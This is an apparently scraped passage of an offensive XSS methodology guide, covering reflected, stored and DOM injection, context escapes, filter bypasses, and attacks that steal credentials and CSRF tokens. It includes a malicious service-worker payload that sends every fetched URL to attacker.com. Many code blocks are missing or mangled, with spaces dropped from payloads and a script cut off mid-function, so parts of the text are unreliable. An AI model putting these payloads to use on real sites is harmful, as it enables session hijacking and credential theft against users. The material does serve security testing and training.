1. Check if **any value you control** \(_parameters_, _path_, _headers_?, _cookies_?\) is being **reflected** in the HTML or **used** by **JS** code.
2.**Find the context** where it's reflected/used.
3. If **reflected**
1. Check **which symbols can you use** and depending on that, prepare the payload:
1. In **raw HTML**:
1. Can you create new HTML tags?
2. Can you use events or attributes supporting `javascript:` protocol?
3. Can you create your own HTML tags?
4. Can you bypass protections?
5. Is the HTML content being interpreted by any client side JS engine \(_AngularJS_, _VueJS_, _Mavo_...\), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
6. If you cannot create HTML tags that execute JS code,could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md).
2. Inside a **HTML tag**:
1. Can you exit to raw HTML context?
2. Can you create new events/attributes to execute JS code?
3. Does the attribute where you are trapped support JS execution?
4. Can you bypass protections?
3. Inside **JavaScript code**:
1. Can you escape the `<script>` tag?
2. Can you escape the string and execute different JS code?
3. Are your input in template literals ````````?
4. Can you bypass protections?
4. If **used**:
1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
## Reflected values
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
* **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
* **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
* **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
## Contexts
When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
### Raw HTML
If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
### Inside HTML tags attribute
If your input is reflected inside the value of the attribute of a tag you could try:
1. To **escape from the attribute and from the tag** \(then you will be in the raw HTML\) and create new HTML tag to abuse: `"><img [...]`
2. If you **can escape from the attribute but not from the tag** \(`>` is encoded or deleted\), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
3. If you **cannot escape from the attribute** \(`"` is being encoded or deleted\), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln \(you will need some kind of social engineer to exploit this\): **`" accesskey="x" onclick="alert(1)" x="`**
### Inside JavaScript code
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a **`.js`**file or inside an attribute using **`javascript:`** protocol:
* If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code \(if there is any error, it won't be executed:
*`'-alert(1)-'`
*`';-alert(1)//`
*`\';alert(1)//`
* If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: ``var greetings = `Hello, ${alert(1)}```
### DOM
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**
_**Note: A HTML comment can be closed using `-->` or `--!>`**_
In this case and if no black/whitelisting is used, you could use payloads like:
```javascript
<script>alert(1)</script>
<imgsrc=xonerror=alert(1)/>
<svgonload=alert('XSS')>
```
But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.
Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.
### Tags/Events brute-force
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags \(in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before\).
### Custom tags
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) \(if the page is vulnerable\).
### Impossible - Dangling Markup
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection.md)because you could **exploit** the vulnerability **without** executing **JS** code.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like \(_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_\):
```javascript
" autofocus onfocus=alert(document.domain) x="
```
### Within the attribute
Even if you **cannot escape from the attribute** \(`"` is being encoded or deleted\), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
#### **Bypass inside event using HTML encoding/URL encode**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid \(the payload is in bold\): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
#### Bypass inside `javascript:`using HTML and URL encoding
Your input could also by **reflected** in HTML tags that accept the protocol **`javascript:`** like `<a href="javascript:fetch('/<your_input>'">` in these cases you can still **alter** the **JS flow** to execute arbitrary code.
_**In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.**_
Moreover, there is another **nice trick** for these cases**: Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.
_Note the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** \(but not `<img`\)_
Note that if you try to **use both**`URLencode + HTMLencode` in any order to encode the **payload** it **won't****work**, but you can **mix them inside the payload**.
#### Using Hex and Octal encode with `javascript:`
You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` \(at least\) to declare **HTML tags to execute JS**:
### XSS in "Unexploitable tags" \(input hidden, link, canonical\)
From [here](https://portswigger.net/research/xss-in-hidden-input-fields):
You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
T**he XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding**.
#### Bypasses for HTML tags and attributes
Read the[ Blacklist Bypasses of the previous section](./#blacklist-bypasses).
#### Bypasses for JavaScript code
Read the J[avaScript bypass blacklist of the following section](./#javascript-bypass-blacklists-techniques).
## Injecting inside JavaScript code
In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
### Escaping <script> tag
If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
```javascript
</script><imgsrc=1onerror=alert(document.domain)>
```
Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.
### Inside JS code
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
```text
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Template literals \`\`
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** ```````` . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.
Therefore, if you find that your **input** is being **reflected inside** a JS string that is using **backticks**, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**.**
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
## Other Bypasses
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server \(or in the client side\) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-normalization-vulnerability.md#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields \(onfocus\) can be added inside the tag.
Form example \([from this report](https://hackerone.com/reports/709336)\), if you send the payload:
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### XSS - Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. \([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)\).
The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**.
In order to exploit this vulnerability you need to find:
* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
* A **vulnerable JSONP request** where you can **manipulate the output \(with arbitrary JS code\)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.
In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** \(this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response\):
And this is the code that will **register the worker** \(the code you should be able to execute abusing a **XSS**\). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:
In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io/) that will be very useful to abuse these vulnerabilities.
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.
So, if the **PDF creator bot finds** some kind of **HTML****tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
[**Find more information here.**](server-side-xss-dynamic-pdf.md)\*\*\*\*
### XSS uploading files \(svg\)
Upload as an image a file like the following one \(from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)\):
This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair.
